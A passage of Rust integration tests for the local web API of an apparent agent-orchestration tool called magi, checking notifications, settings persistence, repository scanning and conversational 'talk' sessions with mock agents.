8195 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8197 }
8198
8199 #[tokio::test]
8200 async fn a_free_text_question_takes_text_and_not_a_choice() {
8201 let fx = Fixture::start().await;
8202 let id = ask(&fx, "What should the flag be called?", &[]);
8203 let path = format!("/api/questions/{id}/answer");
8204
8205 assert_eq!(
8206 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8207 400
8208 );
8209 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8210 assert_eq!(res.status, 200, "{}", res.body);
8211 assert_eq!(res.json()["answer"]["text"], "--json");
8212 }
8213
8214 #[tokio::test]
8215 async fn an_unknown_question_is_a_json_404() {
8216 let fx = Fixture::start().await;
8217 let res = fx
8218 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8219 .await;
8220 assert_eq!(res.status, 404, "{}", res.body);
8221 assert!(res.json()["error"].is_string());
8222 }
8223
8224 #[tokio::test]
8225 async fn notifications_list_read_dismiss_and_health_agree() {
8226 let fx = Fixture::start().await;
8227 let store = Notices::at(fx.home.path().join("notifications"));
8228 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8229 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8230
8231 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8232 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8233
8234 let health = fx.get("/api/health").await.json();
8235 assert_eq!(health["notifications_unread"], 2);
8236 assert_ne!(
8237 health["notifications_rev"], rev0,
8238 "the badge must move live"
8239 );
8240
8241 let listed = fx.get("/api/notifications").await.json();
8242 assert_eq!(listed["unread"], 2);
8243 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8244 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8245
8246 let read = fx
8247 .post(&format!("/api/notifications/{}/read", a.id), None)
8248 .await;
8249 assert_eq!(read.status, 200, "{}", read.body);
8250 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8251
8252 let gone = fx
8253 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8254 .await;
8255 assert_eq!(gone.status, 200, "{}", gone.body);
8256 let listed = fx.get("/api/notifications").await.json();
8257 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8258 assert_eq!(listed["unread"], 0);
8259
8260 store.raise(Notice::info("x", "again")).unwrap();
8261 let all = fx.post("/api/notifications/read-all", None).await;
8262 assert_eq!(all.status, 200, "{}", all.body);
8263 assert_eq!(all.json()["marked"], 1);
8264 assert_eq!(
8265 fx.get("/api/health").await.json()["notifications_unread"],
8266 0
8267 );
8268
8269 let missing = fx.post("/api/notifications/nope/read", None).await;
8270 assert_eq!(missing.status, 404, "{}", missing.body);
8271 assert!(missing.json()["error"].is_string());
8272 }
8273
8274 #[tokio::test]
8281 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8282 let f = Fixture::start().await;
8283
8284 let res = f
8285 .post(
8286 "/api/queue",
8287 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8288 )
8289 .await;
8290
8291 assert_eq!(
8292 res.status, 405,
8293 "POST /api/queue must not be a route: {}",
8294 res.body
8295 );
8296 assert!(
8297 f.queue().list().is_empty(),
8298 "a task filed by a route that does not exist must not reach the disk"
8299 );
8300 assert_eq!(f.get("/api/queue").await.status, 200);
8303 }
8304
8305 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8307 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8308 .expect("checkout dir");
8309 }
8310
8311 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8313
8314 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8315 let tmp = TempDir::new().expect("tempdir");
8316 let repo = tmp.path().join("repo");
8317 std::fs::create_dir_all(&repo).expect("repo dir");
8318 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8319 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8320 if let Some(text) = machine_toml {
8321 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8322 std::fs::write(&machine, text).expect("machine toml");
8323 }
8324 (tmp, repo, machine)
8325 }
8326
8327 #[tokio::test]
8328 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8329 let (_tmp, repo, machine) =
8330 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8331 let f = Fixture::with_repo_and_machine(repo, machine).await;
8332 let res = f.get("/api/settings").await;
8333 assert_eq!(res.status, 200, "{}", res.body);
8334 let v = res.json();
8335 assert!(v["error"].is_null(), "{v}");
8336 let role = |k: &str| {
8337 v["roles"]
8338 .as_array()
8339 .and_then(|r| r.iter().find(|x| x["key"] == k))
8340 .cloned()
8341 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8342 };
8343 assert_eq!(role("judges")["source"], "machine");
8344 assert_eq!(role("judges")["editable"], true);
8345 assert_eq!(role("implementers")["source"], "default");
8346 let adv = role("advisors");
8347 assert_eq!(adv["fallback"], "judges");
8348 assert!(
8349 adv["seats"]
8350 .as_array()
8351 .is_some_and(|s| s.iter().all(|x| x == "b")),
8352 "{adv}"
8353 );
8354 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8355 assert_eq!(v["agents"][0]["source"], "repo");
8356 }
8357
8358 #[tokio::test]
8359 async fn settings_get_reports_a_config_that_does_not_parse() {
8360 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8361 let f = Fixture::with_repo_and_machine(repo, machine).await;
8362 let res = f.get("/api/settings").await;
8363 assert_eq!(res.status, 200, "{}", res.body);
8364 let v = res.json();
8365 assert!(v["error"]["message"].is_string(), "{v}");
8366 assert!(
8367 v["error"]["path"]
8368 .as_str()
8369 .is_some_and(|p| p.ends_with("magi.toml")),
8370 "{v}"
8371 );
8372 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8373 }
8374
8375 #[tokio::test]
8376 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8377 let (_tmp, repo, machine) = settings_dirs(
8378 SETTINGS_AGENTS,
8379 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8380 );
8381 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8382 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8383 let rev = f.get("/api/settings").await.json()["revision"]
8384 .as_str()
8385 .expect("revision")
8386 .to_owned();
8387 let body = serde_json::json!({
8388 "revision": rev,
8389 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8390 })
8391 .to_string();
8392 let res = f.put("/api/settings/roles", &body).await;
8393 assert_eq!(res.status, 200, "{}", res.body);
8394 let text = std::fs::read_to_string(&machine).expect("machine");
8395 assert_eq!(
8396 text,
8397 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8398 );
8399 assert_eq!(
8400 std::fs::read(repo.join("magi.toml")).expect("read"),
8401 repo_before
8402 );
8403 let again = f.get("/api/settings").await.json();
8404 let judges = again["roles"]
8405 .as_array()
8406 .expect("roles")
8407 .iter()
8408 .find(|r| r["key"] == "judges")
8409 .expect("judges")
8410 .clone();
8411 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8412 let stale = f.put("/api/settings/roles", &body).await;
8414 assert_eq!(stale.status, 409, "{}", stale.body);
8415 }
8416
8417 #[tokio::test]
8418 async fn settings_counts_are_reported_and_saved() {
8419 let (_tmp, repo, machine) = settings_dirs(
8420 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8421 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8422 );
8423 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8424 let v = f.get("/api/settings").await.json();
8425 let count = |v: &serde_json::Value, k: &str| {
8426 v["roles"]
8427 .as_array()
8428 .and_then(|r| r.iter().find(|x| x["key"] == k))
8429 .map(|x| x["count"].clone())
8430 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8431 };
8432 let imp = count(&v, "implementers");
8433 assert_eq!(imp["value"], 2);
8434 assert_eq!(imp["source"], "machine");
8435 assert_eq!(imp["file_key"], "candidates");
8436 assert_eq!(imp["roster_len"], 2);
8437 assert_eq!(imp["backups"], 0);
8438 assert_eq!(count(&v, "judges")["source"], "default");
8439 assert_eq!(count(&v, "advisors")["min"], 0);
8440 assert_eq!(count(&v, "reviewers")["editable"], false);
8441 assert!(
8442 count(&v, "reviewers")["locked_reason"]
8443 .as_str()
8444 .is_some_and(|m| m.contains("graph.reviewers"))
8445 );
8446 assert!(count(&v, "fixer").is_null());
8447 let rev = v["revision"].as_str().expect("revision").to_owned();
8448 let body = serde_json::json!({
8449 "revision": rev,
8450 "roles": { "judges": ["b"] },
8451 "counts": { "implementers": 1, "advisors": 0 }
8452 })
8453 .to_string();
8454 let res = f.put("/api/settings/roles", &body).await;
8455 assert_eq!(res.status, 200, "{}", res.body);
8456 let text = std::fs::read_to_string(&machine).expect("machine");
8457 assert_eq!(
8458 text,
8459 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8460 );
8461 let after = f.get("/api/settings").await.json();
8462 assert_eq!(count(&after, "implementers")["value"], 1);
8463 assert_eq!(count(&after, "implementers")["backups"], 1);
8464 assert_eq!(count(&after, "advisors")["value"], 0);
8465 let before = std::fs::read_to_string(&machine).expect("machine");
8466 let rev = after["revision"].as_str().expect("revision").to_owned();
8467 for counts in [
8468 serde_json::json!({ "judges": 0 }),
8469 serde_json::json!({ "judges": "x" }),
8470 serde_json::json!({ "judges": 2.5 }),
8471 serde_json::json!({ "judges": -1 }),
8472 serde_json::json!({ "reviewers": 3 }),
8473 serde_json::json!({ "bogus": 3 }),
8474 ] {
8475 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8476 let res = f.put("/api/settings/roles", &body).await;
8477 assert_eq!(res.status, 422, "{counts}: {}", res.body);
8478 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8479 }
8480 }
8481
8482 #[tokio::test]
8483 async fn settings_put_refuses_without_touching_the_file() {
8484 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8485 let (_tmp, repo, machine) = settings_dirs(
8486 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8487 Some(machine_text),
8488 );
8489 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8490 let rev = f.get("/api/settings").await.json()["revision"]
8491 .as_str()
8492 .expect("revision")
8493 .to_owned();
8494 for roles in [
8495 serde_json::json!({ "judges": ["nope"] }),
8496 serde_json::json!({ "reviewers": ["b"] }),
8497 serde_json::json!({ "bogus": ["a"] }),
8498 ] {
8499 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8500 let res = f.put("/api/settings/roles", &body).await;
8501 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8502 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8503 assert_eq!(
8504 std::fs::read_to_string(&machine).expect("machine"),
8505 machine_text
8506 );
8507 }
8508 }
8509
8510 #[tokio::test]
8511 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8512 let tmp = TempDir::new().expect("tempdir");
8513 let repo = tmp.path().join("repo");
8514 std::fs::create_dir_all(&repo).expect("repo dir");
8515 let root = tmp.path().join("root");
8516 make_checkout(&root, "github.com", "yukimemi", "magi");
8517 std::fs::write(
8518 repo.join("magi.toml"),
8519 format!(
8520 "[repos]\nroots = [{:?}]\n",
8521 root.to_string_lossy().into_owned()
8522 ),
8523 )
8524 .expect("write magi.toml");
8525
8526 let f = Fixture::with_repo(repo).await;
8527 let res = f.get("/api/repos").await;
8528 assert_eq!(res.status, 200, "{}", res.body);
8529 let list = res.json();
8530 let repos = list.as_array().expect("an array");
8531 assert_eq!(repos.len(), 1);
8532 assert_eq!(repos[0]["name"], "yukimemi/magi");
8533 assert!(
8534 repos[0]["path"]
8535 .as_str()
8536 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8537 "{list}"
8538 );
8539 }
8540
8541 #[tokio::test]
8542 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8543 let tmp = TempDir::new().expect("tempdir");
8544 let repo = tmp.path().join("repo");
8545 std::fs::create_dir_all(&repo).expect("repo dir");
8546 let root = tmp.path().join("root");
8547 make_checkout(&root, "github.com", "yukimemi", "magi");
8548 std::fs::write(
8549 repo.join("magi.toml"),
8550 format!(
8551 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8552 root.to_string_lossy().into_owned()
8553 ),
8554 )
8555 .expect("write magi.toml");
8556
8557 let f = Fixture::with_repo(repo).await;
8558 let first = f.get("/api/repos").await;
8559 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8560
8561 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8564 let second = f.get("/api/repos").await;
8565 assert_eq!(
8566 second.json().as_array().map(Vec::len),
8567 Some(1),
8568 "a fresh cache must not rescan inside the TTL"
8569 );
8570
8571 let refreshed = f.get("/api/repos?refresh=1").await;
8572 assert_eq!(
8573 refreshed.json().as_array().map(Vec::len),
8574 Some(2),
8575 "an explicit refresh must rescan even inside the TTL"
8576 );
8577 }
8578
8579 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8585
8586 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8590 let tmp = TempDir::new().expect("tempdir");
8591 let repo = tmp.path().join("repo");
8592 std::fs::create_dir_all(&repo).expect("repo dir");
8593 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8594 let f = Fixture::with_repo(repo.clone()).await;
8595 (tmp, repo, f)
8596 }
8597
8598 #[tokio::test]
8599 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8600 let (_tmp, _repo, f) = talk_fixture().await;
8601
8602 let opened = f.post("/api/talks", None).await;
8605 assert_eq!(opened.status, 201, "{}", opened.body);
8606 let body = opened.json();
8607 assert_eq!(body["status"], "open");
8608 assert_eq!(
8609 body["turns"].as_array().unwrap().len(),
8610 0,
8611 "opening takes no agent turn: there is nothing yet to answer"
8612 );
8613
8614 let also_opened = f.post("/api/talks", Some("{}")).await;
8616 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8617
8618 let listed = f.get("/api/talks").await.json();
8619 assert_eq!(listed.as_array().unwrap().len(), 2);
8620 }
8621
8622 #[tokio::test]
8623 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8624 let tmp = TempDir::new().expect("tempdir");
8625 let repo = tmp.path().join("repo");
8626 std::fs::create_dir_all(&repo).expect("repo dir");
8627 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8628 std::fs::write(
8629 repo.join("magi.toml"),
8630 format!("{MOCK_AGENT_TOML}\n{second}"),
8631 )
8632 .expect("write magi.toml");
8633 let home = TempDir::new().expect("temp home");
8634 let talks = Talks::at(home.path().join("talks"));
8635 let ui = Arc::new(
8636 Ui::new(
8637 Queue::at(home.path().join("queue")),
8638 Questions::at(home.path().join("questions")),
8639 talks.clone(),
8640 home.path().join("runs"),
8641 home.path().to_path_buf(),
8642 repo.clone(),
8643 )
8644 .with_worktrees_root(home.path().join("wt")),
8645 );
8646 let cfg = config_for(&repo).await.expect("discover config");
8647 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8648 let id = talk.id.clone();
8649 let call = |agent: &str| {
8650 talk_agent(
8651 State(Arc::clone(&ui)),
8652 Path(id.clone()),
8653 Json(TalkAgent {
8654 agent: agent.to_owned(),
8655 }),
8656 )
8657 };
8658
8659 let unknown = call("nobody").await.expect_err("unknown agent");
8660 assert_eq!(
8661 unknown.status,
8662 StatusCode::BAD_REQUEST,
8663 "{}",
8664 unknown.message
8665 );
8666
8667 {
8668 let mut claimed = None;
8671 for _ in 0..200 {
8672 claimed = ui.begin_talk_turn(&id).expect("claim");
8673 if claimed.is_some() {
8674 break;
8675 }
8676 tokio::time::sleep(Duration::from_millis(10)).await;
8677 }
8678 let _busy = claimed.expect("free");
8679 let busy = call("second").await.expect_err("busy talk");
8680 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8681 }
8682 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8683
8684 let Json(view) = call("second").await.expect("switch");
8685 assert_eq!(view.talk.agent, "second");
8686 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8687 let saved = talks.get(&id).expect("reload");
8688 assert_eq!(saved.agent, "second");
8689 assert_eq!(saved.turns.len(), 1);
8690
8691 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8692 .await
8693 .expect("detail");
8694 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8695 assert_eq!(roster, ["mock", "second"]);
8696
8697 let mut closed = talks.get(&id).expect("reload");
8698 talk::close(&mut closed, &talks).expect("close");
8699 let refused = call("mock").await.expect_err("closed talk");
8700 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8701 }
8702
8703 #[tokio::test]
8704 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
8705 let tmp = TempDir::new().expect("tempdir");
8706 let repo = tmp.path().join("repo");
8707 std::fs::create_dir_all(&repo).expect("repo dir");
8708 std::fs::write(
8709 repo.join("magi.toml"),
8710 format!(
8711 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
8712 ),
8713 )
8714 .expect("write magi.toml");
8715 let home = TempDir::new().expect("temp home");
8716 let talks = Talks::at(home.path().join("talks"));
8717 let ui = Arc::new(
8718 Ui::new(
8719 Queue::at(home.path().join("queue")),
8720 Questions::at(home.path().join("questions")),
8721 talks.clone(),
8722 home.path().join("runs"),
8723 home.path().to_path_buf(),
8724 repo.clone(),
8725 )
8726 .with_worktrees_root(home.path().join("wt")),
8727 );
8728 let cfg = config_for(&repo).await.expect("discover config");
8729 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8730 let id = talk.id.clone();
8731 let call = |persona: &str| {
8732 talk_persona(
8733 State(Arc::clone(&ui)),
8734 Path(id.clone()),
8735 Json(TalkPersona {
8736 persona: persona.to_owned(),
8737 }),
8738 )
8739 };
8740
8741 let unknown = call("nobody").await.expect_err("unknown persona");
8742 assert_eq!(
8743 unknown.status,
8744 StatusCode::BAD_REQUEST,
8745 "{}",
8746 unknown.message
8747 );
8748
8749 {
8750 let mut claimed = None;
8751 for _ in 0..200 {
8752 claimed = ui.begin_talk_turn(&id).expect("claim");
8753 if claimed.is_some() {
8754 break;
8755 }
8756 tokio::time::sleep(Duration::from_millis(10)).await;
8757 }
8758 let _busy = claimed.expect("free");
8759 let busy = call("rei").await.expect_err("busy talk");
8760 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8761 }
8762 assert_eq!(talks.get(&id).expect("reload").persona, "");
8763
8764 let Json(view) = call("gendo").await.expect("switch to a configured persona");
8765 assert_eq!(view.talk.persona, "gendo");
8766 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
8767
8768 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8769 .await
8770 .expect("detail");
8771 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
8772 assert_eq!(ids.first(), Some(&"default"));
8773 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
8774
8775 let Json(view) = call("default").await.expect("back to default");
8776 assert_eq!(view.talk.persona, "");
8777
8778 let mut closed = talks.get(&id).expect("reload");
8779 talk::close(&mut closed, &talks).expect("close");
8780 let refused = call("rei").await.expect_err("closed talk");
8781 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8782 }
8783
8784 #[tokio::test]
8785 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8786 let f = Fixture::start().await;
8787 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8788 let queue = f.queue();
8789 let mut mine = Task::new(
8790 "rename the loader".to_owned(),
8791 "rename the loader".to_owned(),
8792 PathBuf::from("/repo/magi"),
8793 Source::Agent {
8794 run: talk_id.clone(),
8795 node: "chat".to_owned(),
8796 },
8797 );
8798 queue.put(&mut mine).expect("file the task");
8799 let mut theirs = Task::new(
8800 "unrelated".to_owned(),
8801 "unrelated".to_owned(),
8802 PathBuf::from("/repo/magi"),
8803 Source::Human,
8804 );
8805 queue.put(&mut theirs).expect("file the task");
8806
8807 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8808 assert_eq!(res.status, 200, "{}", res.body);
8809 let body = res.json();
8810 assert_eq!(
8811 body["status"], "open",
8812 "filing a task does not close a talk"
8813 );
8814 let tasks = body["tasks"].as_array().expect("tasks array");
8815 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8816 assert_eq!(tasks[0]["id"], mine.id);
8817 }
8818
8819 #[tokio::test]
8820 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8821 let (_tmp, _repo, f) = talk_fixture().await;
8822 let id = f.post("/api/talks", None).await.json()["id"]
8823 .as_str()
8824 .expect("id")
8825 .to_owned();
8826
8827 let res = f
8828 .post(
8829 &format!("/api/talks/{id}/say"),
8830 Some(r#"{"text":"what does the queue module do?"}"#),
8831 )
8832 .await;
8833 assert_eq!(res.status, 202, "{}", res.body);
8834 let queued = res.json();
8835 let turns = queued["turns"].as_array().expect("turns array");
8836 assert_eq!(
8837 turns.len(),
8838 1,
8839 "the answer reflects only what is on disk the instant it is sent, \
8840 before the agent's turn - which can run for the whole of \
8841 `[graph] timeout_talk` - has a chance to land: {queued}"
8842 );
8843 assert_eq!(turns[0]["who"], "operator");
8844 assert_eq!(turns[0]["body"], "what does the queue module do?");
8845 assert_eq!(
8846 queued["thinking"], true,
8847 "the accepted response exposes the background turn claim: {queued}"
8848 );
8849
8850 let mut turns_after = 1;
8851 for _ in 0..SETTLE_STEPS {
8852 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8853 turns_after = detail["turns"].as_array().expect("turns array").len();
8854 if turns_after == 2 {
8855 break;
8856 }
8857 tokio::time::sleep(Duration::from_millis(10)).await;
8858 }
8859 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8860 }
8861
8862 #[tokio::test]
8889 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8890 let tmp = TempDir::new().expect("tempdir");
8891 let repo = tmp.path().join("repo");
8892 std::fs::create_dir_all(&repo).expect("repo dir");
8893 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8894 let home = TempDir::new().expect("temp home");
8895 let talks = Talks::at(home.path().join("talks"));
8896 let ui = Arc::new(
8897 Ui::new(
8898 Queue::at(home.path().join("queue")),
8899 Questions::at(home.path().join("questions")),
8900 talks.clone(),
8901 home.path().join("runs"),
8902 home.path().to_path_buf(),
8903 repo.clone(),
8904 )
8905 .with_worktrees_root(home.path().join("wt")),
8906 );
8907 let cfg = config_for(&repo).await.expect("discover config");
8908
8909 for delay in 0..40u32 {
8910 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8911 let id = talk.id.clone();
8912
8913 let handler = tokio::spawn(talk_say(
8914 State(Arc::clone(&ui)),
8915 Path(id.clone()),
8916 Ok(Json(NewTalkTurn {
8917 text: "what does the queue module do?".to_owned(),
8918 attachments: Vec::new(),
8919 })),
8920 ));
8921 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8922 handler.abort();
8923 let _ = handler.await;
8926
8927 let mut turns = 0;
8928 for _ in 0..SETTLE_STEPS {
8929 if let Ok(fresh) = talks.get(&id) {
8930 turns = fresh.turns.len();
8931 if turns != 1 {
8932 break;
8933 }
8934 }
8935 tokio::time::sleep(Duration::from_millis(10)).await;
8936 }
8937 assert_ne!(
8938 turns, 1,
8939 "delay {delay}: talk {id} recorded the operator's turn but \
8940 the agent never answered - the reply task was never \
8941 started after the handler future was dropped"
8942 );
8943 }
8944 }
8945
8946 #[tokio::test]
8991 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8992 let tmp = TempDir::new().expect("tempdir");
8993 let repo = tmp.path().join("repo");
8994 std::fs::create_dir_all(&repo).expect("repo dir");
8995 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8996 let home = TempDir::new().expect("temp home");
8997 let talks = Talks::at(home.path().join("talks"));
8998 let ui = Arc::new(
8999 Ui::new(
9000 Queue::at(home.path().join("queue")),
9001 Questions::at(home.path().join("questions")),
9002 talks.clone(),
9003 home.path().join("runs"),
9004 home.path().to_path_buf(),
9005 repo.clone(),
9006 )
9007 .with_worktrees_root(home.path().join("wt")),
9008 );
9009 let cfg = config_for(&repo).await.expect("discover config");
9010
9011 for attempt in 0..3u32 {
9012 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9013 let id = talk.id.clone();
9014 let turn_guard = ui
9017 .begin_talk_turn(&id)
9018 .expect("claim the turn")
9019 .expect("a fresh talk owes nobody a turn");
9020
9021 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9022 let (release_tx, release_rx) = std::sync::mpsc::channel();
9023 ui.set_busy_queue_gate(BusyQueueGate {
9024 reached: reached_tx,
9025 release: release_rx,
9026 });
9027
9028 let handler = tokio::spawn(talk_say(
9029 State(Arc::clone(&ui)),
9030 Path(id.clone()),
9031 Ok(Json(NewTalkTurn {
9032 text: "what does the queue module do?".to_owned(),
9033 attachments: Vec::new(),
9034 })),
9035 ));
9036
9037 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9042 .await
9043 .unwrap_or_else(|_| {
9044 panic!(
9045 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9046 )
9047 })
9048 .expect("the busy branch dropped the gate without using it");
9049
9050 let running = talks.get(&id).expect("reload talk");
9057 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9058
9059 handler.abort();
9063 let _ = handler.await;
9064
9065 let _ = release_tx.send(());
9071
9072 let mut fresh = talks.get(&id).expect("reload talk");
9075 for _ in 0..SETTLE_STEPS {
9076 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9077 break;
9078 }
9079 tokio::time::sleep(Duration::from_millis(10)).await;
9080 fresh = talks.get(&id).expect("reload talk");
9081 }
9082 assert!(
9083 fresh.pending.is_empty() && fresh.turns.len() == 2,
9084 "attempt {attempt}: talk {id} left the operator's text queued \
9085 with no drainer - the reclaimed turn was dropped along with \
9086 the handler future (pending {:?}, {} turns)",
9087 fresh.pending,
9088 fresh.turns.len()
9089 );
9090 }
9091 }
9092
9093 #[tokio::test]
9094 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9095 let (_tmp, _repo, f) = talk_fixture().await;
9096 let id = f.post("/api/talks", None).await.json()["id"]
9097 .as_str()
9098 .expect("id")
9099 .to_owned();
9100 let store = f.talks();
9101 let mut recovered = store.get(&id).expect("opened talk");
9102 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9103 .expect("persist pending draft without a live turn");
9104
9105 let edited = f
9106 .post(
9107 &format!("/api/talks/{id}/pending/edit"),
9108 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9109 )
9110 .await;
9111 assert_eq!(edited.status, 200, "{}", edited.body);
9112 assert!(edited.json()["thinking"].as_bool().unwrap());
9113
9114 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9115 for _ in 0..SETTLE_STEPS {
9116 if detail["turns"].as_array().expect("turns").len() == 2 {
9117 break;
9118 }
9119 tokio::time::sleep(Duration::from_millis(10)).await;
9120 detail = f.get(&format!("/api/talks/{id}")).await.json();
9121 }
9122 let turns = detail["turns"].as_array().expect("turns");
9123 assert_eq!(
9124 turns.len(),
9125 2,
9126 "the recovered draft must run once: {detail}"
9127 );
9128 assert_eq!(turns[0]["body"], "corrected");
9129 assert_eq!(detail["pending"], "");
9130 }
9131
9132 #[tokio::test]
9133 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9134 let tmp = TempDir::new().expect("tempdir");
9135 let repo = tmp.path().join("repo");
9136 std::fs::create_dir_all(&repo).expect("repo dir");
9137 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9138 let f = Fixture::with_repo(repo).await;
9139 let id = f.post("/api/talks", None).await.json()["id"]
9140 .as_str()
9141 .expect("id")
9142 .to_owned();
9143 let store = f.talks();
9144 let mut recovered = store.get(&id).expect("opened talk");
9145 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9146 .expect("persist pending draft without a live turn");
9147
9148 let refused = f
9149 .post(
9150 &format!("/api/talks/{id}/say"),
9151 Some(r#"{"text":"new message"}"#),
9152 )
9153 .await;
9154 assert_eq!(refused.status, 409, "{}", refused.body);
9155 assert!(refused.body.contains("resume"), "{}", refused.body);
9156 let saved = store.get(&id).expect("draft remains after refusal");
9157 assert!(saved.turns.is_empty());
9158 assert_eq!(saved.pending, "saved before restart");
9159
9160 let say_path = format!("/api/talks/{id}/say");
9161 let (first, second) = tokio::join!(
9162 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
